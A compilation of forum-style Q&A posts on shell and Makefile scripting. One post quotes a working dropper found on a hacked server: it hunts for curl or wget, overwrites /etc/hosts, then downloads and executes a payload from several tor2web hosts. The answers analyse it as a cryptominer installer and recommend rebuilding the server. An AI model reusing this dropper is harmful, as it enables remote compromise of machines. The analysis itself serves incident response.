I have the following target in my makefile: (I'd like to run python http server in a detached process and when bash script is done kill the server)
TEST_PORT = 17777
test::
$(ENV_VARS) \
python -m SimpleHTTPServer $(TEST_PORT); \
PID=$$(lsof -t -i #localhost:$(TEST_PORT) -sTCP:listen); \
echo $(PID); \
if [ -n "$$PID" ]; \
then \
python test.py; \
fi; \
function finish { \
if [ -n "$$PID" ]; \
then \
kill -9 $$PID; \
fi \
} \
trap finish EXIT;
However when I put a & after the line python ... I get an error
/bin/dash: Syntax error: ";" unexpected
How can this be done in a proper way?
EDIT
I have changed my makefile to do the following:
test::
python -m SimpleHTTPServer $(TEST_PORT) &
PID=$$(lsof -t -i #localhost:$(TEST_PORT) -sTCP:listen); \
if [ -n "$$PID" ]; \
then \
$(ENV_VARS) python test.py; \
fi \
function finish { \
if [ -n "$$PID" ]; \
then \
kill -9 $$PID; \
fi \
} \
echo $$PID; \
trap finish EXIT;
However I am getting an error: (without the line number)
/bin/dash: Syntax error: word unexpected
The important thing to remember here is that your line breaks don't actually exist when the shell sees the command.
So your first command becomes:
$(ENV_VARS) python -m SimpleHTTPServer $(TEST_PORT); PID=$$(lsof -t -i #localhost:$(TEST_PORT) -sTCP:listen); echo $(PID); if [ -n "$$PID" ]; then python test.py; fi; function finish { if [ -n "$$PID" ]; then kill -9 $$PID; fi } trap finish EXIT;
And your second command becomes:
PID=$$(lsof -t -i #localhost:$(TEST_PORT) -sTCP:listen); if [ -n "$$PID" ]; then $(ENV_VARS) python test.py; fi function finish { if [ -n "$$PID" ]; then kill -9 $$PID; fi } echo $$PID; trap finish EXIT;
Now those are both very hard to read so I don't expect you to spot the problem but the problem is that you are missing statement terminators in a few places.
Specifically:
Braces ({}) are word elements and so need spaces around them (and a terminator before, and after, the closing brace). You are missing those terminators here fi } trap and here fi } echo.
fi is also not a statement terminator and so it needs one between it and the next statement. You are missing one here test.py; fi function (as well as the ones in the braces from the first point).
Related
As said, I've just discovered that one of my private servers has been penetrated and the following bash has been executed on it :
tbin=$(command -v passwd);
bpath=$(dirname "${tbin}");
curl="curl";
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];
then curl="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do
strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE"
curl="$f"
break;
done;
fi;
fi;
wget="wget";
if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];
then wget="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do strings $f 2>/dev/null|grep -q "to <bug-wget#gnu.org>" && wget="$f" && break;
done;
fi;
fi;
if [ $(cat /etc/hosts|grep -i "tor2web."|wc -l) -ne 0 ];
then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;
fi;
rand=$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 4-16 -n 1);
echo "");
if [ -z ${rand} ];
then rand=".tmp"
fi;
echo "${rand}" > "$(pwd)/.${rand}" 2>/dev/null && LPATH="$(pwd)/.${rand}";
rm -f "$(pwd)/.${rand}" >/dev/null 2>&1;
echo "${rand}" > "/tmp/.${rand}" 2>/dev/null && LPATH="/tmp/.${rand}"
rm -f "/tmp/.${rand}" >/dev/null 2>&1;
(${curl} -fsSLk --retry 3 --connect-timeout 17 --max-time 36 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o "${LPATH}"||${curl} -fsSLk --retry 3 --connect-timeout 17 --max-time 36 https://an7kmd2wp4xo7hpr.d2web.org/src/ldm -o "${LPATH}"||${curl} -fsSLk --retry 3 --connect-timeout 17 --max-time 36 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o "${LPATH}"||${wget} --quiet --no-check-certificate --tries=3 --connect-timeout=17 --timeout=36 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O "${LPATH}"||${wget} --quiet --no-check-certificate --tries=3 --connect-timeout=17 --timeout=36 https://an7kmd2wp4xo7hpr.d2web.org/src/ldm -O "${LPATH}"||${wget} --quiet --no-check-certificate --tries=3 --connect-timeout=17 --timeout=36 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O "${LPATH}") && chmod +x "${LPATH}" && sh "${LPATH}"
I'm not sure exactly what it does, hence I'm not sure what to do now, apart from resetting the server altogether. Also I'm curious as to the objective of it.
Thank you !
The first part is a bit of infrastructure work, to get a gasp of the system layout and installed software. Then it cleans up the hosts file to remove traces of an earlier stage of the attack. Then checks for a possible payload download location. The real thing happens on the last line, it downloads a payload and executes it.
There are two possible candidates:
CVE 2019-9670
and
CVE 2019-10149
most probably the latter.
The ultimate goal of the attack seems to be to install a cryptominer into the server.
All the action really happens in the last line, which implements the main purpose of this script: to attempt to download some (presumably malicious) payload from a variety of sites (listed in the last line), and if that is successful then executes the payload.
The rest of the script is just support for that, mostly an fairly exhaustive way of finding a suitable curl or wget binary in order to perform the download. It also checks if your /etc/hosts file contains a line with tor2web., and if it does the hosts file is overwritten with a default one that only has a 127.0.0.1 line for localhost. This step will probably fail unless running as root.
Your server is thoroughly compromised and you should discard it (if it is a VM) or reformat it.
I'm trying to capture a live tcpdump from a custom designed linux system. The command I'm using so far is:
plink.exe -ssh user#IP -pw PW "shell nstcpdump.sh -s0 -U -w - not port 22 and not host 127.0.0.1" | "C:\Program Files\Wireshark\wireshark" -i -
This will fail since when executing the command on the remote system, this (custom) shell will output "Done" before sending data. I tried to find out a way to remove the "Done" message from the shell but doesn't appear to be any.
So I came up with this (added findstr -V):
plink.exe -ssh user#IP -pw PW "shell nstcpdump.sh -s0 -U -w - not port 22 and not host 127.0.0.1" | findstr -V "Done" | "C:\Program Files\Wireshark\wireshark" -i -
This works more or less fine since I will get some errors and the live capture will stop. I believe it might have something to do with the buffers, but I'm not sure.
Does anyone know of any other method of removing/bypassing the first bytes/chars of the output from plink/remote shell?
[edit]
as asked, nstcpdump.sh is a wrapper for tcpdump. as mentioned before, this system is highly customized. nstcpdump.sh code:
root#hostname# cat /netscaler/nstcpdump.sh
#!/bin/sh
# piping the packet trace to the tcpdump
#
# FILE: $Id: //depot/main/rs_120_56_14_RTM/usr.src/netscaler/scripts/nstcpdump.sh#1 $
# LAST CHECKIN: $Author: build $
# $DateTime: 2017/11/30 02:14:38 $
#
#
# Options: any TCPDUMP options
#
TCPDUMP_PIPE=/var/tmp/tcpdump_pipe
NETSCALER=${NETSCALER:-`cat /var/run/.NETSCALER`}
[ -r ${NETSCALER}/netscaler.conf ] && . ${NETSCALER}/netscaler.conf
TIME=${TIME:-3600}
MODE=${MODE:-6}
STARTCMD="start nstrace -size 0 -traceformat PCAP -merge ONTHEFLY -filetype PIPE -skipLocalSSH ENABLED"
STOPCMD="stop nstrace "
SHOWCMD="show nstrace "
NSCLI_FILE_EXEC=/netscaler/nscli
NSTRACE_OUT_FILE=/tmp/nstrace.out
NS_STARTTRACE_PIDFILE=/tmp/nstcpdump.pid
TRACESTATE=$(nsapimgr -d allvariables | grep tracestate | awk '{ print $2}')
trap nstcpdump_exit 1 2 15
nstcpdump_init()
{
echo "##### WARNING #####"
echo "This command has been deprecated."
echo "Please use 'start nstrace...' command from CLI to capture nstrace."
echo "trace will now start with all default options"
echo "###################"
if [ ! -d $NSTRACE_DIR ]
then
echo "$NSTRACE_DIR directory doesn't exist."
echo "Possible reason: partition is not mounted."
echo "Check partitions using mount program and try again."
exit 1
fi
if [ ! -x $NSCLI_FILE_EXEC ]
then
echo "$NSCLI_FILE_EXEC binary doesn't exist"
exit 1
fi
if [ -e $NSTRACE_OUT_FILE ]
then
rm $NSTRACE_OUT_FILE
echo "" >> $NSTRACE_OUT_FILE
fi
}
nstcpdump_start_petrace()
{
sleep 0.5;
$NSCLI_FILE_EXEC -U %%:.:. $STARTCMD >/tmp/nstcpdump.sh.out
rm -f ${NS_STARTTRACE_PIDFILE}
}
nstcpdump_start()
{
# exit if trace is already running
if [ $TRACESTATE -ne 0 ]
then
echo "Error: one instance of nstrace is already running"
exit 2
fi
nstcpdump_start_petrace &
echo $! > ${NS_STARTTRACE_PIDFILE}
tcpdump -n -r - $TCPDUMPOPTIONS < ${TCPDUMP_PIPE}
nstcpdump_exit
exit 1
}
nstcpdump_exit()
{
if [ -f ${NS_STARTTRACE_PIDFILE} ]
then
kill `cat ${NS_STARTTRACE_PIDFILE}`
rm ${NS_STARTTRACE_PIDFILE}
fi
$NSCLI_FILE_EXEC -U %%:.:. $STOPCMD >> /dev/null
exit 1
}
nstcpdump_usage()
{
echo `basename $0`: utility to view/save/sniff LIVE packet capture on NETSCALER box
tcpdump -h
echo
echo NOTE: tcpdump options -i, -r and -F are NOT SUPPORTED by this utility
exit 0
}
########################################################################
while [ $# -gt 0 ]
do
case "$1" in
-h )
nstcpdump_usage
;;
-i )
nstcpdump_usage
;;
-r )
nstcpdump_usage
;;
-F )
nstcpdump_usage
;;
esac
break;
done
TCPDUMPOPTIONS="$#"
check_ns nstcpdump
#nstcpdump_init
#set -e
if [ ! -e ${TCPDUMP_PIPE} ]
then
mkfifo $TCPDUMP_PIPE
if [ $? -ne 0 ]
then
echo "Failed creating pipe [$TCPDUMP_PIPE]"
exit 1;
fi
fi
nstcpdump_start
Regards
I want to do something like:
#!/bin/sh
[ -f "/tmp/nodes" ]
[[ $? -eq 0 ]] && VAL=$? ||
geth --datadir /root/.ethereum \
${VAL+"--nodekey \"/root/nodekey.txt\""} \
--networkid 1999 \
--rpc \
--rpcaddr "0.0.0.0" \
I want the option --nodekey "/root/nodekey.txt" to be passed if the file /tmp/nodes exists. How can that be done more elegantly than an if with two nearly identical commands?
--EDIT--
This is the best I've been able to get working so far:
if [ $VAL -eq 0 ]; then
/geth --datadir /root/.ethereum \
--nodekey "/root/nodekey.txt" \
# No dice
# Would be nice if this worked so I didn't need the if
# ${VAL+ --nodekey "/root/nodekey.txt" } \
--networkid 1999 \
--rpc \
--rpcaddr "0.0.0.0"
else
/geth --datadir /root/.ethereum \
--networkid 1999 \
--rpc \
--rpcaddr "0.0.0.0" \
fi
This is another line in the file and works fine:
ENODE_URL=$(/geth --datadir /root/.ethereum ${VAL+ --nodekey "/root/nodekey.txt"} --exec "${JS}" console 2>/dev/null | sed -e 's/^"\(.*\)"$/\1/')
There's a bashism here, but it's [[ $? -eq 0 ]], as [[ is a ksh extension adopted by bash. There's no point to using $? at all here, since you can just directly perform your assignment based on whether the test -f succeeds:
touch /tmp/nodes # set us up for the truthy path
if test -f /tmp/nodes; then tmp_nodes_exists=1; else unset tmp_nodes_exists; fi
printf '%s\n' /tmp/nodes ${tmp_nodes_exists+"REALLY EXISTS" "(yes, really)"}
...properly emits as output (as run with dash, perhaps the most common minimal /bin/sh interpreter):
/tmp/nodes
REALLY EXISTS
(yes, really)
By contrast, to demonstrate that the other path fails as it should:
rm -f -- /tmp/nodes # set us up for the falsey path
if test -f /tmp/nodes; then tmp_nodes_exists=1; else unset tmp_nodes_exists; fi
printf '%s\n' /tmp/nodes ${tmp_nodes_exists+"REALLY EXISTS" "(yes, really)"}
emits as output only:
/tmp/nodes
I'm trying to do this ..... and this is how my Makefile look like
.PHONY: run
SHELL := /bin/tcsh
run:
md5sum -c md; \
if ($$?==0) then \
echo "PASS" \
else \
echo "FAIL" \
endif
But i got this error.
if: Badly formed number.
make: *** [run] Error 1
Is what I'm doing correct? Or is there a better way of doing that in a Makefile?
Basically, you should simply not, ever, use csh (or tcsh) for writing makefile rules. Write the rule using POSIX shell:
.PHONY: run
run:
md5sum -c md; \
if [ $$? -eq 0 ]; then \
echo "PASS"; \
else \
echo "FAIL"; \
fi
I have a Makefile with the following:
AVAR=""
all :
if [ -d ../old ]; then \
(echo "$# Ping!"; AVAR="../old"; echo $(AVAR)) \
fi
#echo $(AVAR)
The idea is that depending on the presence of directory "../old" i will or not
have information in AVAR (available for use later), however, the if is evaluating to true, and the Ping! is echoed, but nothing is assigned to AVAR, either inside or outside the if statement.
Output is as follows:
$ make all
if [ -d ../old ]; then \
(echo "all Ping!"; AVAR="../old"; echo "") \
fi
all Ping!
Any Insight appreciated.
1) Each command in a makefile recipe runs in its own subshell. You define AVAR in the first command (the "if" statement), so it's not available to the second command (#echo $(AVAR)).
2) Within the first command, you define AVAR, but you don't call it right. The term $(AVAR) is Make syntax; Make expands it before executing the command, and since Make doesn't know anything about such a variable, it expands to nothing. You have to use the shell to expand it, using shell syntax: $AVAR. But if you try that, Make will expand the $A to nothing, and you'll get "VAR". So you "escape" the $ with another $:
all :
if [ -d ../old ]; then \
(echo "$# Ping!"; AVAR="../old"; echo $$AVAR) \
fi
Try
(echo "$# Ping!"; AVAR="../old"; echo $$AVAR) \
instead of
(echo "$# Ping!"; AVAR="../old"; echo $(AVAR)) \
That may be a bit late, but in case someone else has the same question.
The way I handle it is by evaluating the if in a shell function and extract the stdout to a variable that's usable in the next command.
Method 1: appending the echo to the AVAR setting
if [ -d ../old ]; then \
(echo "$# Ping!") \
fi
AVAR=$(shell if [ -d ../old ]; then \
(AVAR="../old"; echo $${AVAR}) \
fi;) && \
echo $${AVAR}
or Method 2: evaluating the variable so that it could be used throughout the target without appending the echo ${AVAR} to the same shell.
if [ -d ../old ]; then \
(echo "$# Ping!") \
fi
$(eval AVAR=$(shell if [ -d ../old ]; then \
(AVAR="../old"; echo $${AVAR}) \
fi;))
#echo ${AVAR}
instead of
if [ -d ../old ]; then \
(echo "$# Ping!"; AVAR="../old"; echo $(AVAR)) \
fi
#echo $(AVAR)
Notes:
- AVAR being set by the $(shell ... ) output is a different variable from the one inside the if condition
- If you want to use a single if, you'll have to remove the stdout of "$# ping" from the beginning of AVAR content
Problem solved, Did the very bad recursive make option to redefine stuff and reinterpret.